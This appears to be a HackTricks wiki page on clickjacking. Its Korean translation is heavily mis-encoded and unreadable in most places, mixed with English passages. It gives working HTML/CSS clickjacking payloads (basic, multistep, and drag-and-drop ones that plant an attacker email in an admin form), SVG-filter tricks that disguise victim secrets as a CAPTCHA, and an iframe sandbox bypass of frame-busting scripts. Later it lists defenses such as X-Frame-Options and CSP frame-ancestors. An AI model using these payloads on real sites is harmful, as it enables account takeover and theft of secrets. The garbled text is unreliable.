Clickjacking
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Clickjacking์ด๋
In a clickjacking attack, a user is tricked into clicking an element on a webpage that is either invisible or disguised as a different element. This manipulation can lead to unintended consequences for the user, such as the downloading of malware, redirection to malicious web pages, provision of credentials or sensitive information, money transfers, or the online purchasing of products.
ํผ ๋ฏธ๋ฆฌ ์ฑ์ฐ๊ธฐ ํธ๋ฆญ
๋๋๋ก ํ์ด์ง๋ฅผ ๋ก๋ฉํ ๋ GET parameters๋ฅผ ์ฌ์ฉํด ํผ ํ๋์ ๊ฐ์ ์ฑ์ฐ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค. ๊ณต๊ฒฉ์๋ ์ด ๋์์ ์ ์ฉํด ์์์ ๋ฐ์ดํฐ๋ก ํผ์ ์ฑ์ฐ๊ณ clickjacking payload๋ฅผ ์ ์กํ์ฌ ์ฌ์ฉ์๊ฐ Submit ๋ฒํผ์ ๋๋ฅด๋๋ก ํ ์ ์์ต๋๋ค.
Drag&Drop์ผ๋ก ํผ ์ฑ์ฐ๊ธฐ
์ฌ์ฉ์์๊ฒ ํผ์ ์์ฑํ๋๋ก ํด์ผ ํ์ง๋ง ํน์ ์ ๋ณด(์: email ๋ฐ/๋๋ ๊ณต๊ฒฉ์๊ฐ ์๊ณ ์๋ ํน์ password)๋ฅผ ์ง์ ์ ๋ ฅํด ๋ฌ๋ผ๊ณ ์์ฒญํ๊ณ ์ถ์ง ์์ ๊ฒฝ์ฐ, ์ฌ์ฉ์๊ฐ Drag&Drop์ผ๋ก ๋น์ ์ด ์ ์ดํ๋ ๋ฐ์ดํฐ๋ฅผ ์ ๋ ฅํ๋๋ก ์์ฒญํ๋ฉด ๋ฉ๋๋ค. ์์๋ this example์ ์ฐธ๊ณ ํ์ธ์.
๊ธฐ๋ณธ Payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
๋ค๋จ๊ณ Payload
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Drag&Drop + Click payload
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
If you have identified an XSS attack that requires a user to click on some element to trigger the XSS and the page is vulnerable to clickjacking, you could abuse it to trick the user into clicking the button/link.
Example:
You found a self XSS in some private details of the account (details that only you can set and read). The page with the form to set these details is vulnerable to Clickjacking and you can prepopulate the form with the GET parameters.
An attacker could prepare a Clickjacking attack to that page prepopulating the form with the XSS payload and tricking the user into Submit the form. So, when the form is submitted and the values are modified, the user will execute the XSS.
DoubleClickjacking
Firstly explained in this post, this technique would ask the victim to double click on a button of a custom page placed in a specific location, and use the timing differences between mousedown and onclick events to load the victim page duing the double click so the victim actually clicks a legit button in the victim page.
An example could be seen in this video: https://www.youtube.com/watch?v=4rGvRRMrD18
A code example can be found in this page.
Warning
This technique allows to trick the user to click on 1 place in the victim page bypassing every protection against clickjacking. So the attacker needs to find sensitive actions that can be done with just 1 click, like OAuth prompts accepting permissions.
SVG Filters / Cross-Origin Iframe UI Redressing
Modern Chromium/WebKit/Gecko builds let CSS filter:url(#id) be applied to cross-origin iframes. The iframeโs rasterized pixels are exposed to the SVG filter graph as SourceGraphic, so primitives such as feDisplacementMap, feBlend, feComposite, feColorMatrix, feTile, feMorphology, etc. can arbitrarily warp the victim UI before the user sees it, even though the attacker never touches the DOM. A simple Liquid-Glass style filter looks like:
<iframe src="https://victim.example" style="filter:url(#displacementFilter4)"></iframe>
- ์ ์ฉํ ํ๋ฆฌ๋ฏธํฐ๋ธ:
feImage๋ ๊ณต๊ฒฉ์ ๋นํธ๋งต(์: overlays, displacement maps)์ ๋ก๋ํ๊ณ ;feFlood๋ ๋จ์ matte๋ฅผ ์์ฑํ๋ฉฐ;feOffset/feGaussianBlur๋ ํ์ด๋ผ์ดํธ๋ฅผ ์ ๊ตํ๊ฒ ํ๊ณ ;feDisplacementMap์ ํ ์คํธ๋ฅผ ๊ตด์ /์๊ณกํ๋ฉฐ;feComposite operator="arithmetic"๋ ์์์ ์ฑ๋๋ณ ์ํ ์ฐ์ฐ(r = k1*i1*i2 + k2*i1 + k3*i2 + k4)์ ๊ตฌํํ๋๋ฐ, ์ด๋ contrast boosting, masking, AND/OR operations์ ์ถฉ๋ถํ๋ค;feTile์ ํฝ์ ํ๋ก๋ธ๋ฅผ ์๋ฅด๊ณ ๋ณต์ ํ๊ณ ;feMorphology๋ ํ์ ํค์ฐ๊ฑฐ๋ ์ค์ด๋ฉฐ;feColorMatrix๋ luma๋ฅผ alpha๋ก ์ด๋์์ผ ์ ๋ฐํ ๋ง์คํฌ๋ฅผ ๋ง๋ ๋ค.
๋น๋ฐ์ CAPTCHA-style ํ๋กฌํํธ๋ก ์๊ณกํ๊ธฐ
ํ๋ ์ ํฌํจ ๊ฐ๋ฅํ ์๋ํฌ์ธํธ๊ฐ ๋น๋ฐ(tokens, reset codes, API keys)์ ๋ ๋๋งํ๋ ๊ฒฝ์ฐ, ๊ณต๊ฒฉ์๋ ์ด๋ฅผ CAPTCHA์ฒ๋ผ ๋ณด์ด๊ฒ ์๊ณกํ์ฌ ์๋ ์ ์ฌ๋ฅผ ๊ฐ์ํ ์ ์๋ค:
<svg width="0" height="0">
<filter id="captchaFilter">
<feTurbulence type="turbulence" baseFrequency="0.03" numOctaves="4" result="noise" />
<feDisplacementMap in="SourceGraphic" in2="noise" scale="6" xChannelSelector="R" yChannelSelector="G" />
</filter>
</svg>
<iframe src="https://victim" style="filter:url(#captchaFilter)"></iframe>
<input pattern="^6c79 ?7261 ?706f ?6e79$" required>
The distorted pixels fool the user into โsolvingโ the captcha inside the attacker-controlled <input> whose pattern enforces the real victim secret.
ํผํด์ ์ ๋ ฅ์ ์ฌ๋งฅ๋ฝํ
ํํฐ๋ ์ฌ์ฉ์ ํค์คํธ๋กํฌ๋ ์ ์งํ๋ฉด์ placeholder/validation ํ ์คํธ๋ฅผ ์ธ๊ณผ์ ์ผ๋ก ์ญ์ ํ ์ ์๋ค. ํ ๊ฐ์ง ์ํฌํ๋ก์ฐ:
feComposite operator="arithmetic" k2โ4๋ ๋ฐ๊ธฐ๋ฅผ ์ฆํญ์์ผ ํ์ ๋ณด์กฐ ํ ์คํธ๊ฐ ํฐ์์ผ๋ก ํฌํ๋๊ฒ ํ๋ค.feTile์ ์์ ์์ญ์ ์ ๋ ฅ ์ฌ๊ฐํ์ผ๋ก ์ ํํ๋ค.feMorphology operator="erode"๋ ํผํด์๊ฐ ์ ๋ ฅํ ์ด๋์ด ๊ธ๋ฆฌํ๋ฅผ ๋๊ป๊ฒ ๋ง๋ค๊ณresult="thick"๋ก ์ ์ฅํ๋ค.feFlood๋ ํฐ์ ํ์ ๋ง๋ค๊ณ ,feBlend mode="difference"๋กthick๊ณผ ๊ฒฐํฉํ๋ฉฐ, ๋ ๋ฒ์งธfeComposite k2โ100๋ ์ด๋ฅผ ๊ฐํ luma matte๋ก ๋ฐ๊พผ๋ค.feColorMatrix๋ ๊ทธ luma๋ฅผ ์ํ๋ก ์ด๋์ํค๊ณ ,feComposite in="SourceGraphic" operator="in"์ ์ฌ์ฉ์ ์ ๋ ฅ ๊ธ๋ฆฌํ๋ง ์ ์งํ๋ค.- ๋ ๋ค๋ฅธ
feBlend in2="white"์ ์์ ํฌ๋กญ์ผ๋ก ๊น๋ํ ํ ์คํธ๋ฐ์ค๋ฅผ ๋ง๋ ๋ค, ๊ณต๊ฒฉ์๋ ์์ ์ HTML ๋ ์ด๋ธ(์: โEnter your emailโ)์ ์ค๋ฒ๋ ์ดํ๊ณ ์จ๊ฒจ์ง iframe์ ์ฌ์ ํ ํผํด์ origin์ ๋น๋ฐ๋ฒํธ ์ ์ฑ ์ ๊ฐ์ ํ๋ค.
Safari๋ feTile์์ ๋ฌธ์ ๊ฐ ์์ผ๋ฉฐ; ๋์ผํ ํจ๊ณผ๋ WebKit-only ํ์ด๋ก๋์ ๊ฒฝ์ฐ feFlood + feColorMatrix + feComposite๋ก ๊ตฌ์ฑํ spatial mattes๋ก ์ฌํํ ์ ์๋ค.
ํฝ์ ํ๋ก๋ธ, ๋ ผ๋ฆฌ ๋ฐ ์ํ ๊ธฐ๊ณ
feTile๋ก 2โ4 px ์์ญ์ ํฌ๋กญํ๊ณ ๊ทธ๊ฒ์ ๋ทฐํฌํธ์ 100%๋ก ํ์ผ๋งํ๋ฉด, ๊ณต๊ฒฉ์๋ ์ํ๋ ์์์ ์ ์ฒด ํ๋ ์ ํ
์ค์ฒ๋ก ๋ณํํ์ฌ ์๊ณ๊ฐ ์ฒ๋ฆฌ๋ฅผ ํตํด boolean mask๋ก ๋ง๋ค ์ ์๋ค:
<filter id="pixelProbe">
<feTile x="313" y="141" width="4" height="4" />
<feTile x="0" y="0" width="100%" height="100%" result="probe" />
<feComposite in="probe" operator="arithmetic" k2="120" k4="-1" />
<feColorMatrix type="matrix" values="0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0" result="mask" />
<feGaussianBlur in="SourceGraphic" stdDeviation="2" />
<feComposite operator="in" in2="mask" />
<feBlend in2="SourceGraphic" />
</filter>
์์์ ์์ ๋ํด, feFlood ์ฐธ์กฐ(์: #0B57D0)์ feBlend mode="difference" ๋ฐ ๋ ๋ค๋ฅธ ์ฐ์ ํฉ์ฑ(k2โ100, ํ์ฉ์ค์ฐจ๋ก k4)์ ์กฐํฉํ๋ฉด ์ํ๋ ํฝ์
์ ์์ด ๋ชฉํ ์์กฐ์ ์ผ์นํ ๋๋ง ํฐ์์ ์ถ๋ ฅํฉ๋๋ค. ์ด๋ฌํ ๋ง์คํฌ๋ฅผ feComposite์ k1..k4๋ฅผ ์กฐ์ ํด ๋ฃ์ผ๋ฉด ๋
ผ๋ฆฌ ๊ฒ์ดํธ๊ฐ ๋ง๋ค์ด์ง๋๋ค: AND๋ k1=1๋ก, OR๋ k2=k3=1๋ก, XOR๋ feBlend mode="difference"๋ก, NOT๋ ํฐ์๊ณผ ๋ธ๋ ๋ฉํ์ฌ ๊ตฌํํฉ๋๋ค. ๊ฒ์ดํธ๋ฅผ ์ฐ๊ฒฐํ๋ฉด ํํฐ ๊ทธ๋ํ ๋ด๋ถ์ full adder๋ฅผ ๊ตฌ์ฑํ ์ ์์ด ์ด ํ์ดํ๋ผ์ธ์ด ํจ์์ ์ผ๋ก ์๋น๋จ์ ์ฆ๋ช
ํฉ๋๋ค.
๋ฐ๋ผ์ ๊ณต๊ฒฉ์๋ JavaScript ์์ด UI ์ํ๋ฅผ ์ฝ์ ์ ์์ต๋๋ค. ๋ชจ๋ฌ ์ํฌํ๋ก์์์ ์์ ๋ถ๋ฆฌ์ธ ๊ฐ๋ค:
- D (dialog visible): ์ด๋์์ง ๋ชจ์๋ฆฌ๋ฅผ ๊ฒ์ฌํ์ฌ ํฐ์๊ณผ ๋น๊ตํฉ๋๋ค.
- L (dialog loaded): ์ค๋น๋๋ฉด ๋ฒํผ์ด ๋ํ๋๋ ์ขํ๋ฅผ ํ์งํฉ๋๋ค.
- C (checkbox checked): ์ฒดํฌ๋ฐ์ค ํฝ์
์ ํ์ฑ ํ๋
#0B57D0๊ณผ ๋น๊ตํฉ๋๋ค. - R (red success/failure banner): ๋ฐฐ๋ ์์ญ ๋ด๋ถ์์
feMorphology์ ์ ์ ์๊ณ๊ฐ์ ์ฌ์ฉํฉ๋๋ค.
๊ฐ ๊ฐ์ง๋ ์ํ๋ feImage xlink:href="data:..."๋ก ์๋ฒ ๋๋ ์๋ก ๋ค๋ฅธ ์ค๋ฒ๋ ์ด ๋นํธ๋งต์ ๊ฒ์ดํธ ์ญํ ์ ํฉ๋๋ค. ์ด๋ฌํ ๋นํธ๋งต์ D, L, C, R ๋ง์คํฌ๋ก ๊ฐ๋ฆฌ๋ฉด ์ค๋ฒ๋ ์ด๊ฐ ์ค์ ๋ํ์์์ ๋๊ธฐํ๋์ด DOM์ ์ ํ ๋
ธ์ถํ์ง ์๊ณ ๋ (๋น๋ฐ๋ฒํธ ์ฌ์ค์ , ์น์ธ, ์ญ์ ๊ฐ์ ํ๊ดด์ ํ์ธ) ์ฌ๋ฌ ๋จ๊ณ์ ์ํฌํ๋ก์์ ํผํด์๋ฅผ ์ ๋ํฉ๋๋ค.
Browser extensions: DOM-based autofill clickjacking
ํผํด์ ํ์ด์ง๋ฅผ iframe์ ๋ฃ๋ ๊ฒ ์ธ์๋, ๊ณต๊ฒฉ์๋ ํ์ด์ง์ ์ฃผ์ ๋ ๋ธ๋ผ์ฐ์ ํ์ฅ UI ์์๋ฅผ ๊ฒจ๋ฅํ ์ ์์ต๋๋ค. Password managers๋ ํฌ์ปค์ค๋ ์ ๋ ฅ ์ฃผ๋ณ์ autofill ๋๋กญ๋ค์ด์ ๋ ๋๋งํฉ๋๋ค; ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ํ๋๋ฅผ ํฌ์ปค์ค์ํค๊ณ ํ์ฅ ๊ธฐ๋ฅ์ ๋๋กญ๋ค์ด์ ์จ๊ธฐ๊ฑฐ๋(๋ถํฌ๋ช ๋/์ค๋ฒ๋ ์ด/์์ ๋ ์ด์ด ํธ๋ฆญ) ๊ฐ๋ ค๋ฒ๋ฆฌ๋ฉด, ๊ฐ์ ๋ ์ฌ์ฉ์์ ํด๋ฆญ์ผ๋ก ์ ์ฅ๋ ํญ๋ชฉ์ด ์ ํ๋์ด ๋ฏผ๊ฐํ ๋ฐ์ดํฐ๊ฐ ๊ณต๊ฒฉ์ ์ ์ด ์ ๋ ฅ์ ์ฑ์์ง ์ ์์ต๋๋ค. ์ด ๋ณํ์ iframe ๋ ธ์ถ์ด ํ์ ์์ผ๋ฉฐ ์ ์ ์ผ๋ก DOM/CSS ์กฐ์์ผ๋ก ๋์ํฉ๋๋ค.
- For concrete techniques and PoCs see: BrowExt - ClickJacking
Strategies to Mitigate Clickjacking
Client-Side Defenses
ํด๋ผ์ด์ธํธ ์ธก์์ ์คํ๋๋ ์คํฌ๋ฆฝํธ๋ Clickjacking์ ๋ฐฉ์งํ๊ธฐ ์ํ ์กฐ์น๋ฅผ ์ทจํ ์ ์์ต๋๋ค:
- ์ ํ๋ฆฌ์ผ์ด์ ์ฐฝ์ด ๋ฉ์ธ ๋๋ ์ต์์ ์ฐฝ์ธ์ง ํ์ธํฉ๋๋ค.
- ๋ชจ๋ ํ๋ ์์ ๋ณด์ด๋๋ก ๋ง๋ญ๋๋ค.
- ๋ณด์ด์ง ์๋ ํ๋ ์์์์ ํด๋ฆญ์ ์ฐจ๋จํฉ๋๋ค.
- ์ ์ฌ์ Clickjacking ์๋๋ฅผ ํ์งํ๊ณ ์ฌ์ฉ์์๊ฒ ๊ฒฝ๊ณ ํฉ๋๋ค.
๊ทธ๋ฌ๋ ์ด๋ฌํ frame-busting ์คํฌ๋ฆฝํธ๋ ์ฐํ๋ ์ ์์ต๋๋ค:
- ๋ธ๋ผ์ฐ์ ๋ณด์ ์ค์ : ์ผ๋ถ ๋ธ๋ผ์ฐ์ ๋ ๋ณด์ ์ค์ ์ด๋ JavaScript ๋ฏธ์ง์์ผ๋ก ์ธํด ์ด๋ฌํ ์คํฌ๋ฆฝํธ๋ฅผ ์ฐจ๋จํ ์ ์์ต๋๋ค.
- HTML5 iframe
sandboxAttribute: ๊ณต๊ฒฉ์๊ฐsandbox์์ฑ์allow-forms๋๋allow-scripts๊ฐ์ผ๋ก ์ค์ ํ๊ณallow-top-navigation์ ์ ์ธํ๋ฉด ํ๋ ์ ๋ฒ์คํฐ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฌด๋ ฅํํ ์ ์์ต๋๋ค. ์ด๋ iframe์ด ์์ ์ด ์ต์์ ์ฐฝ์ธ์ง ํ์ธํ๋ ๊ฒ์ ๋ฐฉ์งํฉ๋๋ค. ์:
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
allow-forms ๋ฐ allow-scripts ๊ฐ์ iframe ๋ด์์ ๋์์ ํ์ฉํ๋ ๋ฐ๋ฉด ์ต์์ ํ์์ ๋นํ์ฑํํฉ๋๋ค. ๊ณต๊ฒฉ ์ ํ์ ๋ฐ๋ผ ํ๊น ์ฌ์ดํธ์ ์๋๋ ๊ธฐ๋ฅ์ ๋ณด์ฅํ๋ ค๋ฉด allow-same-origin ๋ฐ allow-modals์ ๊ฐ์ ์ถ๊ฐ ๊ถํ์ด ํ์ํ ์ ์์ต๋๋ค. ๋ธ๋ผ์ฐ์ ์ฝ์ ๋ฉ์์ง๊ฐ ์ด๋ ๊ถํ์ ํ์ฉํด์ผ ํ๋์ง ์๋ดํ ์ ์์ต๋๋ค.
์๋ฒ ์ธก ๋ฐฉ์ด
X-Frame-Options
The X-Frame-Options HTTP response header๋ ๋ธ๋ผ์ฐ์ ์ ํ์ด์ง๊ฐ <frame> ๋๋ <iframe>์์ ๋ ๋๋ง๋๋ ๊ฒ์ด ํฉ๋ฒ์ ์ธ์ง ์๋ ค์ฃผ์ด Clickjacking์ ๋ฐฉ์งํ๋ ๋ฐ ๋์์ ์ค๋๋ค:
X-Frame-Options: deny- ์ด๋ค ๋๋ฉ์ธ๋ ์ฝํ ์ธ ๋ฅผ ํ๋ ์ํ ์ ์์ต๋๋ค.X-Frame-Options: sameorigin- ํ์ฌ ์ฌ์ดํธ๋ง ์ฝํ ์ธ ๋ฅผ ํ๋ ์ํ ์ ์์ต๋๋ค.X-Frame-Options: allow-from https://trusted.com- ์ง์ ๋ โuriโ๋ง ํ์ด์ง๋ฅผ ํ๋ ์ํ ์ ์์ต๋๋ค.- ์ ํ ์ฌํญ: ๋ธ๋ผ์ฐ์ ๊ฐ ์ด ์ง์๋ฌธ์ ์ง์ํ์ง ์์ผ๋ฉด ์๋ํ์ง ์์ ์ ์์ต๋๋ค. ์ผ๋ถ ๋ธ๋ผ์ฐ์ ๋ CSP์ frame-ancestors ์ง์๋ฌธ์ ์ ํธํฉ๋๋ค.
Content Security Policy (CSP) frame-ancestors directive
CSP์ frame-ancestors ์ง์๋ฌธ์ Clickjacking ๋ฐฉ์ด๋ฅผ ์ํด ๊ถ์ฅ๋๋ ๋ฐฉ๋ฒ์
๋๋ค:
frame-ancestors 'none'-X-Frame-Options: deny์ ์ ์ฌํฉ๋๋ค.frame-ancestors 'self'-X-Frame-Options: sameorigin์ ์ ์ฌํฉ๋๋ค.frame-ancestors trusted.com-X-Frame-Options: allow-from์ ์ ์ฌํฉ๋๋ค.
์๋ฅผ ๋ค์ด, ๋ค์ CSP๋ ๋์ผ ๋๋ฉ์ธ์์์ ํ๋ ์ด๋ฐ๋ง ํ์ฉํฉ๋๋ค:
Content-Security-Policy: frame-ancestors 'self';
์์ธํ ๋ด์ฉ๊ณผ ๋ณต์กํ ์์ ๋ frame-ancestors CSP documentation ๋ฐ Mozillaโs CSP frame-ancestors documentation์์ ํ์ธํ ์ ์์ต๋๋ค.
Content Security Policy (CSP)์ child-src ๋ฐ frame-src
**Content Security Policy (CSP)**๋ ๋ธ๋ผ์ฐ์ ๊ฐ ์ด๋ค ์์ค์์ ์ฝํ ์ธ ๋ฅผ ๋ก๋ํ๋๋ก ํ์ฉํ ์ง ์ง์ ํจ์ผ๋ก์จ Clickjacking ๋ฐ ๊ธฐํ ์ฝ๋ ์ธ์ ์ ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๋ ๋ณด์ ์๋จ์ ๋๋ค.
frame-src Directive
- ํ๋ ์์ ํ์ฉ๋๋ ์ ํจํ ์์ค๋ฅผ ์ ์ํฉ๋๋ค.
default-src์ง์๋ฌธ๋ณด๋ค ๋ ๊ตฌ์ฒด์ ์ ๋๋ค.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
์ด ์ ์ฑ ์ ๋์ผ ์ถ์ฒ(self)์ https://trusted-website.com์์ ์จ ํ๋ ์์ ํ์ฉํฉ๋๋ค.
child-src ๋๋ ํฐ๋ธ
- CSP level 2์์ ์น ์์ปค์ ํ๋ ์์ ์ ํจํ ์์ค๋ฅผ ์ค์ ํ๊ธฐ ์ํด ๋์ ๋์์ต๋๋ค.
- frame-src ๋ฐ worker-src์ ๋์ฒด(fallback)๋ก ๋์ํฉ๋๋ค.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
์ด ์ ์ฑ ์ ๋์ผ ์ถ์ฒ(self)์ https://trusted-website.com์์ ์ค๋ ํ๋ ์ ๋ฐ ์์ปค๋ฅผ ํ์ฉํฉ๋๋ค.
์ฌ์ฉ ์ ์ฐธ๊ณ :
- ์ฌ์ฉ ์ค๋จ: child-src๋ frame-src ๋ฐ worker-src๋ก ๋์ฒด๋๊ณ ์์ต๋๋ค.
- ๋์ฒด ๋์: frame-src๊ฐ ์์ผ๋ฉด child-src๊ฐ ํ๋ ์์ ๋์ฒด๋ก ์ฌ์ฉ๋ฉ๋๋ค. ๋ ๋ค ์์ผ๋ฉด default-src๊ฐ ์ฌ์ฉ๋ฉ๋๋ค.
- ์๊ฒฉํ ์์ค ์ ์: ์ง์นจ(๋๋ ํฐ๋ธ)์ ์ ๋ขฐํ ์ ์๋ ์์ค๋ง ํฌํจํ์ฌ ์ ์ฉ์ ๋ฐฉ์งํ์ธ์.
JavaScript ํ๋ ์ ์ฐจ๋จ ์คํฌ๋ฆฝํธ
์์ ํ ํ์คํ ๋ฐฉ๋ฒ์ ์๋์ง๋ง, JavaScript ๊ธฐ๋ฐ์ ํ๋ ์ ์ฐจ๋จ ์คํฌ๋ฆฝํธ๋ฅผ ์ฌ์ฉํด ์น ํ์ด์ง๊ฐ ํ๋ ์์ ํฌํจ๋๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค. ์:
if (top !== self) {
top.location = self.location
}
Anti-CSRF ํ ํฐ ์ ์ฉ
- ํ ํฐ ๊ฒ์ฆ: ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ anti-CSRF tokens๋ฅผ ์ฌ์ฉํ์ฌ ์ํ ๋ณ๊ฒฝ ์์ฒญ์ด ์ฌ์ฉ์์ ์๋์ ๋ฐ๋ฅธ ๊ฒ์ด๋ฉฐ Clickjacked page๋ฅผ ํตํด ๋ฐ์ํ ๊ฒ์ด ์๋์ ๋ณด์ฅํ์ธ์.
์ฐธ๊ณ ์๋ฃ
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
- DOM-based Extension Clickjacking (marektoth.com)
- SVG Filters - Clickjacking 2.0
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


